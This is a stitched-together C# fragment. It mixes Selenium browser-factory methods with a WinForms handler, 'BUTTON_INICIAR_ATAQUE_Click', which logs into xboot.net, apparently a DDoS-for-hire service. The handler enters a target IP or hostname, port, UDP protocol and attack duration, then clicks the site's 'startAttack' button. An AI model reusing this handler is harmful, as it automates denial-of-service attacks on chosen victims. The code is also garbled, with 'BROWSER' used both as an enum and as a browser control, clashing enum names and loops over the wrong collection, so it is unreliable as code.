public static IWebDriver Create(BROWSER browser) { if (browser == BROWSER.INTERNET_EXPLORER) return CreateIEDriver(); else if (browser == BROWSER.CHROME) return CreateChromeDriver(); else return CreateFFDriver(); }
//Builder method to allwow for a browser to be created with any additional options. //Such as maximised window or headless mode public IWebDriver BuildWithOptions(BROWSER browser, DriverOptions options) { switch (browser) { case BROWSER.Chrome: default: if (options != null) { ChromeOptions co = (ChromeOptions)options; return(new ChromeDriver(co)); } else { return(new ChromeDriver()); } } }
private void InitiateDriver(BROWSER browser) { switch (browser) { case BROWSER.CHROME: { new DriverManager().SetUpDriver(new ChromeConfig()); Driver = new ChromeDriver(); break; } case BROWSER.HEADLESS_CHROME: throw new NotImplementedException(); case BROWSER.FF: throw new NotImplementedException(); case BROWSER.FIREFOX: throw new NotImplementedException(); case BROWSER.IE: throw new NotImplementedException(); case BROWSER.INTERNET_EXPLORER: throw new NotImplementedException(); case BROWSER.EDGE: throw new NotImplementedException(); case BROWSER.MICROSOFT_EDGE: throw new NotImplementedException(); case BROWSER.MS_EDGE: throw new NotImplementedException(); case BROWSER.SAFARI: throw new NotImplementedException(); case BROWSER.REMOTE_DRIVER: throw new NotImplementedException(); default: break; } }
private void BUTTON_INICIAR_ATAQUE_Click(object sender, EventArgs e) { string URL = ""; URL = BROWSER.Url.ToString(); #region CASO NAO ESTEJA NA PAGINA DE BOOT if (URL == "https://xboot.net/outside.php") { BROWSER.Document.GetElementById("username").InnerText = TEXTBOX_USERNAME.Text; BROWSER.Document.GetElementById("password").InnerText = TEXTBOX_PASSWORD.Text; BROWSER.Document.GetElementById("loginButton").InvokeMember("Click"); BROWSER.Navigate("https://xboot.net/#boot"); HtmlElementCollection FormAttack = BROWSER.Document.GetElementsByTagName("input"); for (int i = 0; i < FormAttack.Count; i++) { if (RADIOBUTTON_HOSTNAME.Checked == true) { if (FormAttack[i].GetAttribute("id") == "resolverDetails") { if (FormAttack[i].InnerText != "") { FormAttack[i].InnerText = TEXTBOX_HOSTNAME.Text; BROWSER.Document.GetElementById("resolve").InvokeMember("Click"); } } } if (RADIOBUTTON_IP.Checked == true) { if (FormAttack[i].GetAttribute("name") == "ip") { if (FormAttack[i].InnerText == "") { FormAttack[i].InnerText = TEXTBOX_IP.Text; } } } if (FormAttack[i].GetAttribute("name") == "port") { if (FormAttack[i].InnerText == "") { FormAttack[i].InnerText = TEXTBOX_PORTA.Text; } } } HtmlElementCollection FormAttack2 = BROWSER.Document.GetElementsByTagName("option"); for (int i = 0; i < FormAttack2.Count; i++) { if (COMBOBOX_PROTOCOLO.SelectedIndex == 0) { if (FormAttack2[i].GetAttribute("value") == "udp") { if (FormAttack2[i].GetAttribute("selected") == "") { HtmlElementCollection FormAttack3 = BROWSER.Document.GetElementsByTagName("button"); for (int o = 0; o < FormAttack3.Count; o++) { if (FormAttack2[i].GetAttribute("id") == "startAttack") { BROWSER.Document.GetElementById("startAttack").InvokeMember("Click"); } } } } } if (COMBOBOX_PROTOCOLO.SelectedIndex == 1) { if (FormAttack2[i].GetAttribute("value") == "udp") { if (FormAttack2[i].GetAttribute("selected") == "") { FormAttack[i].SetAttribute("selected", ""); BROWSER.Document.GetElementById("startAttack").InvokeMember("Click"); } } } } } #endregion #region CASO ESTEJA NA PAGINA DE BOOT else { #region VERIFICAR ENDEREÇO if (URL != "https://xboot.net/#boot") { BROWSER.Navigate("https://xboot.net/#boot"); URL = "https://xboot.net/#boot"; } #endregion #region PROCESSAMENTO if (URL == "https://xboot.net/#boot") { #region PREENCHER CAIXAS DE TEXTO HtmlElementCollection FormAttack = BROWSER.Document.GetElementsByTagName("input"); for (int i = 0; i < FormAttack.Count; i++) { if (RADIOBUTTON_HOSTNAME.Checked == true) { if (FormAttack[i].GetAttribute("id") == "resolverDetails") { if (FormAttack[i].InnerText == null) { FormAttack[i].InnerText = Convert.ToString(TEXTBOX_HOSTNAME.Text); BROWSER.Document.GetElementById("resolve").InvokeMember("Click"); } } } if (RADIOBUTTON_IP.Checked == true) { if (FormAttack[i].GetAttribute("name") == "ip") { if (FormAttack[i].InnerText == null) { FormAttack[i].InnerText = Convert.ToString(TEXTBOX_IP.Text); } } } if (FormAttack[i].GetAttribute("name") == "port") { if (FormAttack[i].InnerText == null) { FormAttack[i].InnerText = Convert.ToString(TEXTBOX_PORTA.Text); } } } #endregion #region SELECIONAR PROTOCOLO /*HtmlElementCollection FormAttack2 = BROWSER.Document.GetElementsByTagName("option"); * * for (int i = 0; i < FormAttack2.Count; i++) * { * if (COMBOBOX_PROTOCOLO.SelectedIndex == 0) * { * if (FormAttack2[i].GetAttribute("value") == "udp") * { * if (FormAttack2[i].GetAttribute("selected") == null) * { * HtmlElementCollection FormAttack3 = BROWSER.Document.GetElementsByTagName("button"); * * for (int o = 0; o < FormAttack3.Count; o++) * { * if (FormAttack2[i].GetAttribute("id") == "startAttack") * { * BROWSER.Document.GetElementById("startAttack").InvokeMember("Click"); * } * } * } * } * } * * if (COMBOBOX_PROTOCOLO.SelectedIndex == 1) * { * if (FormAttack2[i].GetAttribute("value") == "udp") * { * FormAttack2[i].SetAttribute("selected","false"); * } * * if (FormAttack2[i].GetAttribute("value") == "essyn") * { * FormAttack[i].SetAttribute("selected", "true"); * BROWSER.Document.GetElementById("startAttack").InvokeMember("Click"); * } * } * }*/ #endregion #region DEFINIR TEMPO DO ATAQUE HtmlElementCollection FormAttack4 = BROWSER.Document.GetElementsByTagName("input"); for (int x = 0; x < FormAttack.Count; x++) { if (FormAttack4[x].GetAttribute("id") == "timeVal") { //string segundos = Convert.ToString(LABEL_SEGUNDOS.Text); FormAttack4[x].SetAttribute("value", Convert.ToString(LABEL_SEGUNDOS.Text)); //BROWSER.Document.GetElementById("startAttack").InvokeMember("Click"); } } #endregion } #endregion } #endregion }
//Builder method to allow for a default browser to be created public IWebDriver Build(BROWSER browser) { return(BuildWithOptions(browser, null)); }
public void Start(BROWSER browser = BROWSER.CHROME) { InitiateDriver(browser); }